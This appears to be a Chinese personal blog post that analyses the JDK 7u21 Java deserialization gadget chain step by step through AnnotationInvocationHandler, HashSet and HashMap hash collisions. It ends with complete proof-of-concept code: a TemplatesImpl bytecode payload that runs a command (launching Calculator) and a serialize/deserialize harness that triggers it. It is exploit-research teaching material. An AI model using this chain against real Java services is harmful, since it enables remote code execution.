库存,翻到了
庆幸的是领导终于走了,这该死的评估,最近状态也是慢慢回来了,就因为这鬼评估,好多事都做不了
但是坏消息是,期末周该复习了bro😭
正题开始
反序列化触发的核心在于“动态方法执行”
sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl()
private Boolean equalsImpl(Object var1) {
// 1. 自身引用检查:如果是同一个对象,直接返回 true
if (var1 == this) {
return true;
}
// 2. 类型检查:检查传入的对象 var1 是否是 this.type 的实例
// 在 7u21 利用中,this.type 被攻击者设置为 Templates.class
// 而 var1 是恶意的 TemplatesImpl 对象,它是 Templates 的实现类,所以这里 check 通过!
else if (!this.type.isInstance(var1)) {
return false;
} else {
// 3. 遍历 this.type (即接口) 的所有方法
for(Method var5 : this.getMemberMethods()) {
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6); // 获取代理对象自身的属性值
Object var8 = null;
// 4. 尝试将 var1 当作 AnnotationInvocationHandler 处理
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
// 5. 【高危漏洞点】
// 如果 var1 不是 AnnotationInvocationHandler,代码会尝试通过反射
// 调用 var1 身上对应的方法来获取值,以便进行后续的对比。
try {
var8 = var5.invoke(var1); // <--- 这里就是代码执行的触发点!
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
// 6. 对比值,这步已经不重要了,因为上面已经执行了恶意代码
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
接收var1,经过一系列检查后,进入for循环遍历,再检查后条件符合会调用到invoke()
正如注释中所写的利用方式就是我们要打的利用链方式,由于会遍历到类中的所有方法,就一定会遍历到newTransformer() 或 getOutputProperties() 方法,进而触发任意代码执行
如何调用equalsImpl()
由于其是一个私有方法,在AnnotationInvocationHandler#invoke()中被调用
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
在AnnotationInvocationHandler#invoke中被调用,其实我们一看就知道是有关动态代理的类,若调用了代理类实现的接口方法的话就会自动调用到invoke方法,我们看到代码调用到equalsImpl的条件是,这个方法必须为equals,并且要求有一个参数个数,要调用到equals()
我们想到set方法,因为set存储元素不重复,有序,所以在为Set添加元素时候会进行比对
HashSet的readObject方法设计到equals方法,然后我们看到其readObject方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
可以看到最后会new一个HashMap,然后会将此HashSet中所有的元素都遍历作为key存放到Map中,因为Set存储元素不重复,所以Key既是Value,value的赋值是java所设计的一个常量PRESENT充当存储
其中equals()在map.put中调用到,即HashMap#equals()方法
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
如果我们要调用到key.equals(k)–>proxy.equals(templates)就需要满足
这里Key是代理对象,k是恶意templates
要求满足他们的hash值需要相等,我们看到hash()方法
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
由于我们是通过动态代理去触发的,所以走的是Annotationinvocationhandler#invoke()
那里经过判断会调用到hashCodeImpl

private int hashCodeImpl() {
int var1 = 0;
for(Map.Entry var3 : this.memberValues.entrySet()) {
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue());
}
return var1;
}
遍历memberValues的每个键值对,计算每个127*key.hashCode()^value.hashCode()然后求和
memberValues是通过构造函数传入的var2
有以下几种情况:
- memberValues也就是map中只有一个key-value时,hash值就是 0+
(127 * key.hashCode())^value.hashCode() - key.hashCode()等于0时,hash值是value.hashCode()
- value是Templateslmpl对象的时候,value.hashCode()就是templateslmpl.hashCode()
所以我们去构造一个只包含一个Key-Value的map就可以,令Key.hashCode()为0,所以最后的hash就会简化为Value.hashCode()
当value为TemplateImpl对象时,就会变为TemplateImpl.hashCode(),如此经过处理后,proxy的hashCode就和templates的hashCode相等了
这里利用P神的脚本
public class Text {
public static void main(String[] args) {
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}
}
f5a5a608
利用链
HashSet#readObject() (开始循环)
HashMap#put(proxy) (放入第二个元素)
proxy#hashCode() -> ... -> 算出 Hash 值 X
Hash 碰撞检测 (发现 Map 里已有的 TemplatesImpl Hash 也是 X)
proxy.equals(templatesImpl) (因为碰撞而被迫调用)
AnnotationInvocationHandler#invoke()
AnnotationInvocationHandler#equalsImpl()
templatesImpl.getOutputProperties() (反射调用)
TemplatesImpl 动态加载字节码 (RCE)
POC
准备的恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
// 1. 必须继承 AbstractTranslet
public class EXP extends AbstractTranslet {
// 2. 建议将恶意代码放在静态代码块中
// 这样在类加载阶段(比构造函数更早)就能触发
static {
try {
// Mac 弹计算器
Runtime.getRuntime().exec("open -a Calculator");
// Windows 用 calc
// Runtime.getRuntime().exec("calc");
System.out.println("Exploit success! Payload executed.");
} catch (Exception e) {
e.printStackTrace();
}
}
public EXP() {
// 构造函数也可以放,但静态块更保险
}
// 3. 必须实现这两个抽象方法,否则编译报错。方法体留空即可。
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class POC2 {
public static void main(String[] args) throws Exception {
// 1. 准备恶意 TemplatesImpl 对象
byte[] code = Files.readAllBytes(Paths.get("/Users/_sun_empty./Downloads/jdk7u21_ser/src/main/java/EXP.class"));
TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{code});
setValue(templates, "_name", "sss");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
// 2. 构造哈希碰撞的 Map
// 核心逻辑:(127 * 0) ^ templates.hashCode() == templates.hashCode()
HashMap<String, Object> map = new HashMap<>();
map.put("f5a5a608", templates); // key.hashCode() == 0
// 3. 生成动态代理 (Proxy)
// 使用反射获取 AnnotationInvocationHandler 的构造器
Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Templates.class},
handler
);
// 4. 放入 HashSet 触发序列化逻辑
HashSet<Object> set = new HashSet<>();
set.add(templates);
set.add(proxy);
// 5. 序列化与反序列化验证
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("poc.ser"));
oos.writeObject(set);
oos.close();
new ObjectInputStream(new FileInputStream("poc.ser")).readObject();
}
public static void setValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
展现极简主义
